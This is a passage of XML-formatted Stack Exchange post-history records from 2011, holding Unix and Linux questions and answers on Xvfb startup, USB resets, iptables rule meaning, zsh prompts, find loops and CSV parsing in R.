  <row Id="25149" PostHistoryTypeId="2" PostId="10465" RevisionGUID="554a199f-d31c-4a9c-a0ba-511d1d7fe7a8" CreationDate="2011-04-01T17:34:12.843" UserId="5646" Text="I’ve got a Debian web server that I’m using for occasional screen-scraping via Selenum and Python.&#xD;&#xA;&#xD;&#xA;I use Xvfb as a virtual X server for Firefox to run on when being controlled by Selenium. Given that I (think) I have to start this using `sudo`, I don’t think it’ll be feasible to start it from Python each time (see [my Stack Overflow question](http://stackoverflow.com/questions/5516511/how-do-i-start-and-stop-a-unix-program-using-the-subprocess-module-in-python)), so I figured I could just have it running all the time.&#xD;&#xA;&#xD;&#xA;I currently start it like this at the command line:&#xD;&#xA;&#xD;&#xA;    sudo Xvfb :99 -nolisten tcp -fbdir /var/run&#xD;&#xA;&#xD;&#xA;How should I have this done automatically at startup? Should I use `cron`, as suggested [here](http://unix.stackexchange.com/questions/7793/bash-script-on-startup-linux)?" />
  <row Id="25150" PostHistoryTypeId="1" PostId="10465" RevisionGUID="554a199f-d31c-4a9c-a0ba-511d1d7fe7a8" CreationDate="2011-04-01T17:34:12.843" UserId="5646" Text="How do I start Xvfb on startup on Debian?" />
  <row Id="25151" PostHistoryTypeId="3" PostId="10465" RevisionGUID="554a199f-d31c-4a9c-a0ba-511d1d7fe7a8" CreationDate="2011-04-01T17:34:12.843" UserId="5646" Text="édebianàéstartupàéxvfbà" />
  <row Id="25152" PostHistoryTypeId="2" PostId="10466" RevisionGUID="7e82f273-5622-4d35-b32b-4be4bb7f6b4a" CreationDate="2011-04-01T17:46:20.987" UserId="6223" Text="Reset the device, or the hub it is connected to, and the device should reappear. Here is a small program to do that:&#xD;&#xA;&#xD;&#xA;http://marc.info/?l=linux-usb-users&amp;m=116827193506484&#xD;&#xA;&#xD;&#xA;It works for most USB drives I've tried, but there are exceptions, like my Kingston DT 101 II 4GB, which fails INQUIRY and READ CAPACITY commands after reset, and remains unusable until power-cycled.&#xD;&#xA;&#xD;&#xA;You can power-cycle the device without unplugging if it gets power from the port, and your USB hub supports per-port power control. Here is a small program to control the power:&#xD;&#xA;&#xD;&#xA;http://marc.info/?l=linux-usb-devel&amp;m=113724451205634&#xD;&#xA;&#xD;&#xA;Unfortunately, almost no USB hubs support this feature, and it's very difficult to find one that supports it. Manufacturers do not advertise it. Many hubs also lie about it, for example if you do &quot;lsusb -v&quot; you can see &quot;Per-port power switching&quot; advertised in &quot;wHubCharacteristic&quot;, but in reality it does not work. The chipset may support it, but it was easier/cheaper for the manufacturer to connect port power pins directly to the power supply instead of going through the chipset." />
  <row Id="25153" PostHistoryTypeId="5" PostId="10465" RevisionGUID="a0760265-ec96-41fc-bbae-b7eb89cf408b" CreationDate="2011-04-01T17:47:59.140" UserId="5646" Comment="added 8 characters in body" Text="I’ve got a Debian web server that I’m using for occasional screen-scraping via Selenum and Python.&#xD;&#xA;&#xD;&#xA;I use Xvfb as a virtual X server for Firefox to run on when being controlled by Selenium. Given that I (think) I have to start this using `sudo`, I don’t think it’ll be feasible to start it from Python each time (see [my Stack Overflow question](http://stackoverflow.com/questions/5516511/how-do-i-start-and-stop-a-unix-program-using-the-subprocess-module-in-python)), so I figured I could just have it running all the time.&#xD;&#xA;&#xD;&#xA;I currently start it like this at the command line:&#xD;&#xA;&#xD;&#xA;    sudo Xvfb :99 -nolisten tcp -fbdir /var/run&#xD;&#xA;&#xD;&#xA;What method should I use to do this automatically at startup? Should I use `cron`, as suggested [here](http://unix.stackexchange.com/questions/7793/bash-script-on-startup-linux)?" />
  <row Id="25154" PostHistoryTypeId="2" PostId="10467" RevisionGUID="e96a5c9b-cc79-4e0f-8d1e-3478063eb11d" CreationDate="2011-04-01T17:55:48.727" UserId="298" Text="Why not log to a file, current.log which you can tail -f to your hearts content, and then use something like /usr/sbin/logrotate to rotate that file.  You can specify in the config that you'd like to do some postrotate commands to rename the old file with the date appended, etc.  It removes the need for symlinks completely and may also simplify your logging code.&#xD;&#xA;&#xD;&#xA;Of course, logrotate may not be installed on the system you are developing for. " />
  <row Id="25155" PostHistoryTypeId="25" PostId="10465" RevisionGUID="b34c593d-8be0-4f12-89eb-f0ec1cf24369" CreationDate="2011-04-01T18:08:50.120" Comment="http://twitter.com/#!/StackUnix/status/53881519839772673" />
  <row Id="25156" PostHistoryTypeId="2" PostId="10468" RevisionGUID="1e970339-330b-4936-8071-dbf5831b5deb" CreationDate="2011-04-01T18:16:45.773" UserId="4856" Text="Perhaps a packet sniffing package such as [scapy][1] can help you. I recently used it to intercept packets and modify their headers. It essentially amounts to creating a new program as BillThor suggested, but I found scapy very easy to use. While this may not be the best package of its kind, maybe something similar will suit your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.secdev.org/projects/scapy/" />
  <row Id="25157" PostHistoryTypeId="5" PostId="10011" RevisionGUID="5295088c-81bc-44a3-8282-6d1c838e82c0" CreationDate="2011-04-01T18:26:47.880" UserId="2421" Comment="mention compression" Text="The [System.map][1] file is mainly used to debug kernel crashes.  It's not actually necessary, but it's best to keep it around if you're going to use that kernel.  If you've decided you don't need that kernel, then it's safe to delete the corresponding map file.&#xD;&#xA;&#xD;&#xA;If you're really low on disk space, you could compress the map files.  They aren't that big, so this won't save much space, but [bzip2][2] will squeeze them down to about 25% of the original size.  Then you can uncompress one if you discover that you need it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/System.map&#xD;&#xA;  [2]: http://bzip.org/" />
  <row Id="25158" PostHistoryTypeId="5" PostId="10455" RevisionGUID="b3e59cef-36cb-49b0-a62d-2e7e1e25c700" CreationDate="2011-04-01T19:02:24.597" UserId="1375" Comment="Clarified question." Text="I am running OpenBox in Arch Linux, how can I set it up so that I can have [slock][1] lock my screen after a certain amount of time (with no activity)?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.suckless.org/slock" />
  <row Id="25159" PostHistoryTypeId="2" PostId="10469" RevisionGUID="66622561-9e03-497d-9fa8-65eeb9be9791" CreationDate="2011-04-01T19:05:31.637" UserId="6226" Text="Does `iptables -I INPUT -j ACCEPT` open all ports?" />
  <row Id="25160" PostHistoryTypeId="1" PostId="10469" RevisionGUID="66622561-9e03-497d-9fa8-65eeb9be9791" CreationDate="2011-04-01T19:05:31.637" UserId="6226" Text="What does this iptables command do?" />
  <row Id="25161" PostHistoryTypeId="3" PostId="10469" RevisionGUID="66622561-9e03-497d-9fa8-65eeb9be9791" CreationDate="2011-04-01T19:05:31.637" UserId="6226" Text="éiptablesà" />
  <row Id="25162" PostHistoryTypeId="2" PostId="10470" RevisionGUID="fbe2febb-294b-44cb-b791-b2d3a56ba701" CreationDate="2011-04-01T19:12:17.253" UserId="5931" Text="On debian, you can add the Xvfb command to `/etc/rc.local`. If Xvfb doesn't detach itself into the background, use an `&amp;` on the end of the command.&#xD;&#xA;&#xD;&#xA;Using cron would work too, although init scripts give you more control over exactly when in the startup sequence it will run, and are the traditional way of starting services." />
  <row Id="25163" PostHistoryTypeId="2" PostId="10471" RevisionGUID="cee95b03-7541-4651-9de9-f971725d8deb" CreationDate="2011-04-01T19:23:56.717" UserId="885" Text="Your premise is invalid: there is no reason to run Xvfb as root. Your usual X server only needs to run as root (on many but not all unices) only so that it can access the video hardware; that's not an issue for Xvfb by definition.&#xD;&#xA;&#xD;&#xA;If you want to run Xvfb at startup, you can use cron with `@reboot` replacing the five date-and-time fields. You can do that in any user's crontab, not just root's. But I don't see the point. Your scripts would be more robust if you started Xvfb when you need it, just the way you seem to have originally planned it.&#xD;&#xA;" />
  <row Id="25164" PostHistoryTypeId="2" PostId="10472" RevisionGUID="962d3280-df51-4d90-8c3d-f13cbb5ce6f7" CreationDate="2011-04-01T19:46:09.623" UserId="885" Text="Yes. This command creates a rule that will be checked first (`-I`) for incoming packets (`INPUT`); the rule matches every packet (no filter) and allows them (`-j ACCEPT`).&#xD;&#xA;" />
  <row Id="25165" PostHistoryTypeId="6" PostId="10455" RevisionGUID="82fdacad-1362-4c9d-943c-8f58ecebf0be" CreationDate="2011-04-01T19:48:48.280" UserId="885" Comment="edited tags" Text="ésecurityàéxorgàéopenboxàéslockàéscreenölockà" />
  <row Id="25166" PostHistoryTypeId="2" PostId="10473" RevisionGUID="32fdc294-c490-460c-93c9-ff29be2d3d4a" CreationDate="2011-04-01T19:53:07.240" UserId="29" Text="This will accept all traffic that is inbound and destined for this computer; all ports, all protocols, all users, all states. Remember that port isn't the only thing you have to think about when writing a firewall on a Linux System. Any traffic that is outbound or destined for another computer may have different rules. However if your rules are this, for example&#xD;&#xA;&#xD;&#xA;    iptables -I INPUT -j ACCEPT&#xD;&#xA;    iptables -I INPUT -j DROP&#xD;&#xA;&#xD;&#xA;the second rule will end up being before the first and all traffic will be dropped. If you want to allow all traffic. I generally recommend using  `-A` instead of `-I` when writing a firewall script so the order is obvious. Also if you just want to allow everything, you'd be better off setting the policy for the chain.&#xD;&#xA;&#xD;&#xA;    iptables -P INPUT ACCEPT&#xD;&#xA;&#xD;&#xA;will tell everything that hasn't matched another rule at the end of INPUT to be allowed." />
  <row Id="25167" PostHistoryTypeId="6" PostId="10440" RevisionGUID="38a27026-746e-4bf8-a26a-7e258dbaabae" CreationDate="2011-04-01T19:53:22.080" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéroutingàéipà" />
  <row Id="25168" PostHistoryTypeId="6" PostId="10469" RevisionGUID="19a09259-5266-4693-b31e-a96434da56df" CreationDate="2011-04-01T19:57:04.303" UserId="29" Comment="add more tags" Text="élinuxàéiptablesàéfirewallà" />
  <row Id="25169" PostHistoryTypeId="2" PostId="10474" RevisionGUID="d39d9557-977c-4e91-b746-b2c103184583" CreationDate="2011-04-01T20:02:48.793" UserId="6149" Text="`iptables -I INPUT -j ACCEPT`&#xD;&#xA;&#xD;&#xA;The above command will **INSERT** (**-I**) a new rule at **chain position 1** (understood by omission) that matches every packet crossing the **INPUT** chain (because their are no filters) and will **ACCEPT** it." />
  <row Id="25170" PostHistoryTypeId="2" PostId="10475" RevisionGUID="c46952fe-834f-4ce5-9a86-42d38cddc5d7" CreationDate="2011-04-01T20:16:00.850" UserId="885" Text="Once a program has open the file, it keeps accessing that same file, even if the file is moved or even deleted. (Removing an open file only removes its name; the file — the [inode](http://en.wikipedia.org/wiki/Inode) — is actually deleted once no process has it open.)&#xD;&#xA;&#xD;&#xA;Some programs watch if something happens to the file they have open. For example, the classic program `tail -f` keeps printing lines appended to the same file; some modern implementations (GNU, FreeBSD, NetBSD, OSX) have `tail -F`, which detects if a new file with the same name is moved into place and starts reading from the new file. [Multitail](http://www.vanheusden.com/multitail/) can do that as well (run it as `multitail --retry`).&#xD;&#xA;&#xD;&#xA;You can use the [Inotify](http://en.wikipedia.org/wiki/Inotify) interface on Linux, or its equivalent on other unices, to detect if a file has changed. On Linux, [use the `inotifywait` command](http://unix.stackexchange.com/questions/10454/is-it-possible-to-roll-a-symlink-to-a-new-file-without-affecting-any-open-file/10459#10459).&#xD;&#xA;" />
  <row Id="25171" PostHistoryTypeId="2" PostId="10476" RevisionGUID="f4a55a7e-eeb0-4243-90eb-482f06584ff5" CreationDate="2011-04-01T20:19:56.843" UserId="2654" Text="I have recently purchased a machine to run an online game server. I put the machine together and have installed a fresh copy of Ubuntu Server 10.10. I have noticed that the game server produces a massive amount of lag despite being more than capable of running the server application. &#xD;&#xA;&#xD;&#xA;I have been trying to track down the problem all day and now believe it might be something to do with the network connection as when I connect to the server using SSH, on the **local network**, I get a large dollop of lag before the password field appears. Connecting to the old server on the same network displays the prompt instantly.&#xD;&#xA;&#xD;&#xA;My hardware is as follows:&#xD;&#xA;&#xD;&#xA;    Core i5 2500 3.3GHz Socket 1155&#xD;&#xA;    Asus P8P67 R3 Socket 1155&#xD;&#xA;    4GB DDR3 1333MHz&#xD;&#xA;    500GB 3.5&quot; SAT-III Hard Drive&#xD;&#xA;&#xD;&#xA;I use Windows primarily and would ordinarily look for updated drivers if this happened there but I don't really know where to start to solve this problem on Linux.&#xD;&#xA;&#xD;&#xA;Any help would be most appreciated." />
  <row Id="25172" PostHistoryTypeId="1" PostId="10476" RevisionGUID="f4a55a7e-eeb0-4243-90eb-482f06584ff5" CreationDate="2011-04-01T20:19:56.843" UserId="2654" Text="Network problem on fresh Ubuntu Server 10.10 install" />
  <row Id="25173" PostHistoryTypeId="3" PostId="10476" RevisionGUID="f4a55a7e-eeb0-4243-90eb-482f06584ff5" CreationDate="2011-04-01T20:19:56.843" UserId="2654" Text="élinuxàéubuntuàénetworkingàéserverà" />
  <row Id="25174" PostHistoryTypeId="6" PostId="10442" RevisionGUID="a51f172d-cc08-470d-8535-e115906b0991" CreationDate="2011-04-01T20:21:17.933" UserId="885" Comment="edited tags" Text="ésoftwareörecàéloginàégdmà" />
  <row Id="25175" PostHistoryTypeId="2" PostId="10477" RevisionGUID="cba56292-e7d9-4026-9c62-eac0a9046527" CreationDate="2011-04-01T20:22:10.300" UserId="2459" Text="I'm attempting to write a custom prompt for ZSH. Ideally, I'd like something like the following:&#xD;&#xA;&#xD;&#xA;    [user@host]                           [/var/tmp/foo]&#xD;&#xA;    % &#xD;&#xA;&#xD;&#xA;I'm able to define a PROMPT variable which meets my needs:&#xD;&#xA;&#xD;&#xA;    PROMPT=$'[%n@%m]\n%# '&#xD;&#xA;&#xD;&#xA;However, whenever I attempt to insert a newline in RPROMPT, e.g.&#xD;&#xA;&#xD;&#xA;    RPROMPT=$'[%~]\n'&#xD;&#xA;&#xD;&#xA;Nothing appears on the right hand side of my prompt.&#xD;&#xA;&#xD;&#xA;The best I've been able to do is to create a single line RPROMPT, however this lines up with the second line of my PROMPT, like so:&#xD;&#xA;&#xD;&#xA;    [user@host]&#xD;&#xA;    %                                   [/var/tmp/foo]&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;Is there a way to insert a newline into RPROMPT?" />
  <row Id="25176" PostHistoryTypeId="1" PostId="10477" RevisionGUID="cba56292-e7d9-4026-9c62-eac0a9046527" CreationDate="2011-04-01T20:22:10.300" UserId="2459" Text="Is there a way to configure a multi-line RPROMPT in zsh?" />
  <row Id="25177" PostHistoryTypeId="3" PostId="10477" RevisionGUID="cba56292-e7d9-4026-9c62-eac0a9046527" CreationDate="2011-04-01T20:22:10.300" UserId="2459" Text="ézshàépromptà" />
  <row Id="25178" PostHistoryTypeId="2" PostId="10478" RevisionGUID="452744d9-0868-47b0-99ee-1bfe0103fc2d" CreationDate="2011-04-01T20:27:20.210" UserId="885" Text="The ultimate way to make reads fasts would be to copy all the data to all the clients once and for all, but I guess you don't want to spend the space.&#xD;&#xA;&#xD;&#xA;Are people likely to access the same file more than once from a given client? If so, I'd go for a simple approach with aggressive caching. Something like a WebDAV or FTP server, [Fusedav](http://0pointer.de/lennart/projects/fusedav/) or [CurlFTPfs](http://curlftpfs.sourceforge.net/) on the clients, and a caching HTTP proxy on each client ([Squid](http://www.squid-cache.org/) or [wwwoffle](http://www.gedanken.demon.co.uk/wwwoffle/)).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25179" PostHistoryTypeId="5" PostId="10460" RevisionGUID="8795a754-1bf5-449e-a7e4-6fad2cd31665" CreationDate="2011-04-01T20:28:44.110" UserId="885" Comment="title; tags" Text="I have a bunch of different binary files (total size of all files is circa ~500GB) stored in a hard drive that is mounted to `machine001`.&#xD;&#xA;&#xD;&#xA;I have 200 other machines that need to access this data for **read-only** purposes.&#xD;&#xA;&#xD;&#xA;What is the best way to share this data with all other computers, so that reads are fastest? (I use Ubuntu Linux)&#xD;&#xA;&#xD;&#xA;Is there a different scheme that would be even better for fastest reads?&#xD;&#xA;" />
  <row Id="25180" PostHistoryTypeId="4" PostId="10460" RevisionGUID="8795a754-1bf5-449e-a7e4-6fad2cd31665" CreationDate="2011-04-01T20:28:44.110" UserId="885" Comment="title; tags" Text="Share unchanging data from a central repository on a network" />
  <row Id="25181" PostHistoryTypeId="6" PostId="10460" RevisionGUID="8795a754-1bf5-449e-a7e4-6fad2cd31665" CreationDate="2011-04-01T20:28:44.110" UserId="885" Comment="title; tags" Text="élinuxàéfileösharingàéstorageà" />
  <row Id="25182" PostHistoryTypeId="5" PostId="10438" RevisionGUID="8d3f47f1-4051-4cbf-aea6-d0d2eb188da9" CreationDate="2011-04-01T20:29:23.267" UserId="885" Comment="spelling; tags" Text="Is it possible to add a list of hosts that are only specific to a certain user? Perhaps a user-specific hosts file?&#xD;&#xA;&#xD;&#xA;This mechanism should also complement the entries in the `/etc/hosts` file." />
  <row Id="25183" PostHistoryTypeId="4" PostId="10438" RevisionGUID="8d3f47f1-4051-4cbf-aea6-d0d2eb188da9" CreationDate="2011-04-01T20:29:23.267" UserId="885" Comment="spelling; tags" Text="Can I create a user-specific hosts file to complement /etc/hosts?" />
  <row Id="25184" PostHistoryTypeId="6" PostId="10438" RevisionGUID="8d3f47f1-4051-4cbf-aea6-d0d2eb188da9" CreationDate="2011-04-01T20:29:23.267" UserId="885" Comment="spelling; tags" Text="énotörootöuseràéhostsà" />
  <row Id="25185" PostHistoryTypeId="4" PostId="10476" RevisionGUID="bdeaed7a-bb26-4491-9d32-fda6ccc7b864" CreationDate="2011-04-01T20:35:18.817" UserId="2654" Comment="edited title" Text="What could cause network latency on a fresh Ubuntu Server 10.10 install?" />
  <row Id="25186" PostHistoryTypeId="5" PostId="10477" RevisionGUID="f2acb8e9-3598-4904-9e79-87990f9e812e" CreationDate="2011-04-01T21:03:43.803" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Display stuff below the prompt at a shell prompt?](http://unix.stackexchange.com/questions/1022/display-stuff-below-the-prompt-at-a-shell-prompt)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm attempting to write a custom prompt for ZSH. Ideally, I'd like something like the following:&#xD;&#xA;&#xD;&#xA;    [user@host]                           [/var/tmp/foo]&#xD;&#xA;    % &#xD;&#xA;&#xD;&#xA;I'm able to define a PROMPT variable which meets my needs:&#xD;&#xA;&#xD;&#xA;    PROMPT=$'[%n@%m]\n%# '&#xD;&#xA;&#xD;&#xA;However, whenever I attempt to insert a newline in RPROMPT, e.g.&#xD;&#xA;&#xD;&#xA;    RPROMPT=$'[%~]\n'&#xD;&#xA;&#xD;&#xA;Nothing appears on the right hand side of my prompt.&#xD;&#xA;&#xD;&#xA;The best I've been able to do is to create a single line RPROMPT, however this lines up with the second line of my PROMPT, like so:&#xD;&#xA;&#xD;&#xA;    [user@host]&#xD;&#xA;    %                                   [/var/tmp/foo]&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;Is there a way to insert a newline into RPROMPT?" />
  <row Id="25187" PostHistoryTypeId="10" PostId="10477" RevisionGUID="7e6e59e4-15ed-41e7-b490-0aae689c94d8" CreationDate="2011-04-01T21:03:43.523" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="25188" PostHistoryTypeId="2" PostId="10479" RevisionGUID="7a84c6e3-114a-4482-a1b2-9f2ddd7665f7" CreationDate="2011-04-01T21:03:59.177" UserId="885" Text="Here are three approaches. The first has my preference.&#xD;&#xA;&#xD;&#xA;### Change the file generation process&#xD;&#xA;&#xD;&#xA;Instead of regenerating the files indiscriminately (`dump_table foo &gt;foo.dump`), keep the old file if it's identical to the new one.&#xD;&#xA;&#xD;&#xA;    dump_table foo &gt;foo.dump.new&#xD;&#xA;    if cmp foo.dump foo.dump.new; then&#xD;&#xA;      rm foo.dump.new&#xD;&#xA;    else&#xD;&#xA;      mv foo.dump.new foo.dump&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;### Mount the archives as directories&#xD;&#xA;&#xD;&#xA;Use [AVFS](http://sourceforge.net/projects/avf/) to create a view of your entire directory hierarchy where all archives have an associated directory (same name with `#` tacked on at the end) that appears to hold the archive content.&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    d=$(date -d %Y%m%d%H%M%S); mkdir $d; tar czf /path/to/$d.tgz $d; rmdir $d&#xD;&#xA;    cd /path/to/back/up&#xD;&#xA;    rsync -ac --compare-dest=~/.avfs/path/to/yesterday.tgz . ~/.avfs/path/to/$d.tgz&#xD;&#xA;&#xD;&#xA;### Use a backup tool with the requisite feature&#xD;&#xA;&#xD;&#xA;Backup programs need to be extremely reliable. It's hard for a home-grown solution to cover all cases. So consider a full-blown backup program. I think [duplicity](http://www.nongnu.org/duplicity/) would do what you require: it performs incremental backups, and it uses the rsync algorithm, so it shouldn't waste any space on data that's already there.&#xD;&#xA;" />
  <row Id="25189" PostHistoryTypeId="25" PostId="10477" RevisionGUID="b973e6ce-af6c-430a-93b0-41ed2932089b" CreationDate="2011-04-01T21:08:49.387" Comment="http://twitter.com/#!/StackUnix/status/53926815252750336" />
  <row Id="25190" PostHistoryTypeId="5" PostId="10445" RevisionGUID="894589bc-55e3-4982-8b4e-dd97bb3cc8ed" CreationDate="2011-04-01T21:20:24.390" UserId="885" Comment="double quotes are necessary around globbing characters as well" Text="The syntax would be:&#xD;&#xA;&#xD;&#xA;    filename=&quot;${file}_END&quot;&#xD;&#xA;&#xD;&#xA;or in your code&#xD;&#xA;&#xD;&#xA;    touch &quot;${file}_END&quot;&#xD;&#xA;&#xD;&#xA;The `&quot;` quotes are not necessary as long as `$file` does not have any whitespace or globbing character in it." />
  <row Id="25191" PostHistoryTypeId="6" PostId="10443" RevisionGUID="773ba1f8-637b-4706-ade8-a1f3334dd861" CreationDate="2011-04-01T21:23:57.917" UserId="885" Comment="edited tags" Text="éshellöscriptàéfilesàéquotingà" />
  <row Id="25192" PostHistoryTypeId="2" PostId="10480" RevisionGUID="72439c92-92f7-41d7-a65d-e03d29bdb348" CreationDate="2011-04-01T21:29:27.723" UserId="6231" Text="I just installed yellowdog linux 6.2 on an old PowerPC laptop.  &#xD;&#xA;&#xD;&#xA;By default, it's interpreting trackpad taps as clicks, which I want to disable.&#xD;&#xA;&#xD;&#xA;I followed [the directions here](http://www.ydl.net/support/solutions/ydl_2.x/mouse_buttons.shtml), and put `TRACKPAD_OPT=notap` in my `/etc/sysconfig/mouse-emulation` and rebooted, but taps are still interpreted as clicks.&#xD;&#xA;&#xD;&#xA;What should I do?" />
  <row Id="25193" PostHistoryTypeId="1" PostId="10480" RevisionGUID="72439c92-92f7-41d7-a65d-e03d29bdb348" CreationDate="2011-04-01T21:29:27.723" UserId="6231" Text="Disable trackpad click in Yellowdog linux" />
  <row Id="25194" PostHistoryTypeId="3" PostId="10480" RevisionGUID="72439c92-92f7-41d7-a65d-e03d29bdb348" CreationDate="2011-04-01T21:29:27.723" UserId="6231" Text="émouseà" />
  <row Id="25195" PostHistoryTypeId="2" PostId="10481" RevisionGUID="8e11d80d-6185-47e1-8819-48ae44d2a969" CreationDate="2011-04-01T21:29:44.757" UserId="6230" Text="In a BASH shell, I would like to take the lines of a file (eg _pattern.txt_) and find the files on my system whose names contain the patterns in each line of my file. So, I have the following for loop&#xD;&#xA;&#xD;&#xA;    for pp in `cat pattern.txt`; do find ./ -iname &quot;*${pp}*&quot; -print0; done&#xD;&#xA;&#xD;&#xA;which doesn't find any files when if the first line in _pattern.txt_ doe exist. So how can I fix the above command line?&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="25196" PostHistoryTypeId="1" PostId="10481" RevisionGUID="8e11d80d-6185-47e1-8819-48ae44d2a969" CreationDate="2011-04-01T21:29:44.757" UserId="6230" Text="How can I loop through lines of a file and find files matching each line?" />
  <row Id="25197" PostHistoryTypeId="3" PostId="10481" RevisionGUID="8e11d80d-6185-47e1-8819-48ae44d2a969" CreationDate="2011-04-01T21:29:44.757" UserId="6230" Text="éshellàécommandölineàéfindà" />
  <row Id="25198" PostHistoryTypeId="2" PostId="10482" RevisionGUID="9d663eb8-29bb-4294-bedb-c02a1163066f" CreationDate="2011-04-01T21:33:25.983" UserId="4671" Text="[R](http://www.r-project.org/) is not my favorite programming language, but it is good for things like this.&#xD;&#xA;If your csv file is&#xD;&#xA;&#xD;&#xA;    ***********&#xD;&#xA;    foo.csv&#xD;&#xA;    ***********&#xD;&#xA;    &quot;this, is the first entry&quot;, this is the second, 34.5&#xD;&#xA;    'some more', &quot;messed up&quot;, stuff&#xD;&#xA;&#xD;&#xA;inside the R interpreter type&#xD;&#xA;&#xD;&#xA;    &gt; x=read.csv(&quot;foo.csv&quot;, header=FALSE)&#xD;&#xA;&#xD;&#xA;    &gt; x&#xD;&#xA;                            V1                  V2     V3&#xD;&#xA;    1 this, is the first entry  this is the second   34.5&#xD;&#xA;    2              'some more'           messed up  stuff&#xD;&#xA;&#xD;&#xA;    &gt; x[1]  # first column&#xD;&#xA;                            V1&#xD;&#xA;    1 this, is the first entry&#xD;&#xA;    2              'some more'&#xD;&#xA;&#xD;&#xA;    &gt; x[1,] # first row&#xD;&#xA;                            V1                  V2    V3&#xD;&#xA;    1 this, is the first entry  this is the second  34.5&#xD;&#xA;&#xD;&#xA;    &gt; help(read.csv)" />
  <row Id="25199" PostHistoryTypeId="2" PostId="10483" RevisionGUID="857f6b4c-eb85-4d89-8beb-37f383e2f34f" CreationDate="2011-04-01T21:35:06.453" UserId="1338" Text="Try this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    while IFS= read -r pp; do&#xD;&#xA;      find . -iname &quot;*${pp}*&quot; -print0&#xD;&#xA;    done &lt; /path/to/pattern.txt&#xD;&#xA;&#xD;&#xA;Not sure why you want `-print0`, but I left it in anyway.  Perhaps you are attempting to pipe this to `xargs`?" />
  <row Id="25200" PostHistoryTypeId="5" PostId="10481" RevisionGUID="b15fc7d9-7067-4f06-9a1a-2dd4bb354050" CreationDate="2011-04-01T21:35:19.667" UserId="6230" Comment="added extra information" Text="In a BASH shell, I would like to take the lines of a file (eg _pattern.txt_) and find the files on my system whose names contain the patterns in each line of my file. So, I have the following for loop&#xD;&#xA;&#xD;&#xA;    for pp in `cat pattern.txt`; do find ./ -iname &quot;*${pp}*&quot; -print0; done&#xD;&#xA;&#xD;&#xA;which doesn't find any files when if the first line in _pattern.txt_ doe exist. So how can I fix the above command line?&#xD;&#xA;&#xD;&#xA;Note: Each line in my file contains characters [a-zA-Z] only.&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="25201" PostHistoryTypeId="5" PostId="10482" RevisionGUID="829c2132-0f08-47a4-ae1e-7dacb784f6e7" CreationDate="2011-04-01T21:52:17.803" UserId="4671" Comment="added 510 characters in body" Text="[R](http://www.r-project.org/) is not my favorite programming language, but it is good for things like this.&#xD;&#xA;If your csv file is&#xD;&#xA;&#xD;&#xA;    ***********&#xD;&#xA;    foo.csv&#xD;&#xA;    ***********&#xD;&#xA;     col1, col2, col3&#xD;&#xA;    &quot;this, is the first entry&quot;, this is the second, 34.5&#xD;&#xA;    'some more', &quot;messed up&quot;, stuff&#xD;&#xA;&#xD;&#xA;Inside the R interpreter type&#xD;&#xA;&#xD;&#xA;    &gt; x=read.csv(&quot;foo.csv&quot;, header=FALSE)&#xD;&#xA;&#xD;&#xA;    &gt; x&#xD;&#xA;                         col1                col2   col3&#xD;&#xA;    1 this, is the first entry  this is the second   34.5&#xD;&#xA;    2              'some more'           messed up  stuff&#xD;&#xA;    &gt; x[1]  # first col&#xD;&#xA;                          col1&#xD;&#xA;    1 this, is the first entry&#xD;&#xA;    2              'some more'&#xD;&#xA;    &gt; x[1,] # first row&#xD;&#xA;                          col1                col2  col3&#xD;&#xA;    1 this, is the first entry  this is the second  34.5&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;With regard to your other requests, for &quot;the ability to select columns based on the column names given in the first row&quot; see&#xD;&#xA;&#xD;&#xA;    &gt; x[&quot;col1&quot;]&#xD;&#xA;                          col1&#xD;&#xA;    1 this, is the first entry&#xD;&#xA;    2              'some more'&#xD;&#xA;&#xD;&#xA;For &quot;support for other quoting styles&quot; see the `quote` argument to read.csv (and related functions). &#xD;&#xA;For &quot;support for tab-separated files&quot; see the `sep` argument to read.csv (set `sep` to '\t').&#xD;&#xA;&#xD;&#xA;For more information see the online help.&#xD;&#xA;&#xD;&#xA;    &gt; help(read.csv)" />
  <row Id="25202" PostHistoryTypeId="6" PostId="10428" RevisionGUID="cf192e64-c790-4ed0-b9ff-f6f2f9435ae7" CreationDate="2011-04-01T21:53:29.133" UserId="885" Comment="edited tags" Text="énetworkingàéipàéportsàétunnelsàéportöforwardingà" />
  <row Id="25203" PostHistoryTypeId="6" PostId="10425" RevisionGUID="c3d4d51e-9c49-4787-9dee-31d8f48adbf7" CreationDate="2011-04-01T21:55:24.467" UserId="885" Comment="edited tags" Text="éscriptingàéfindàépipeà" />
  <row Id="25204" PostHistoryTypeId="2" PostId="10484" RevisionGUID="86e60db7-ffb5-4f80-af23-e3f4556a1c41" CreationDate="2011-04-01T22:06:23.863" UserId="885" Text="You're trying to pass a shell command to `-exec`, but what it takes is the name of a program and a list of arguments. So you need to tell it explicitly to launch a shell.&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; \&#xD;&#xA;         -exec sh -c 'echo &quot;Processing $0&quot;; convert &quot;$0&quot; &quot;${0%.tiff}.jpg&quot;' {} \;&#xD;&#xA;&#xD;&#xA;* `sh -c 'shell code, not using single quotes'` is a relatively common idiom when you need shell features in a context that expects a command with arguments.&#xD;&#xA;* `-exec sh -c 'do stuff with &quot;$0&quot;' {} \;` is a `find` and shell idiom. Some versions of find allow writing the `{}` directly inside the shell code, but this is a bad idea, not only because some find versions don't, but also because this can break horribly if the file name contains special 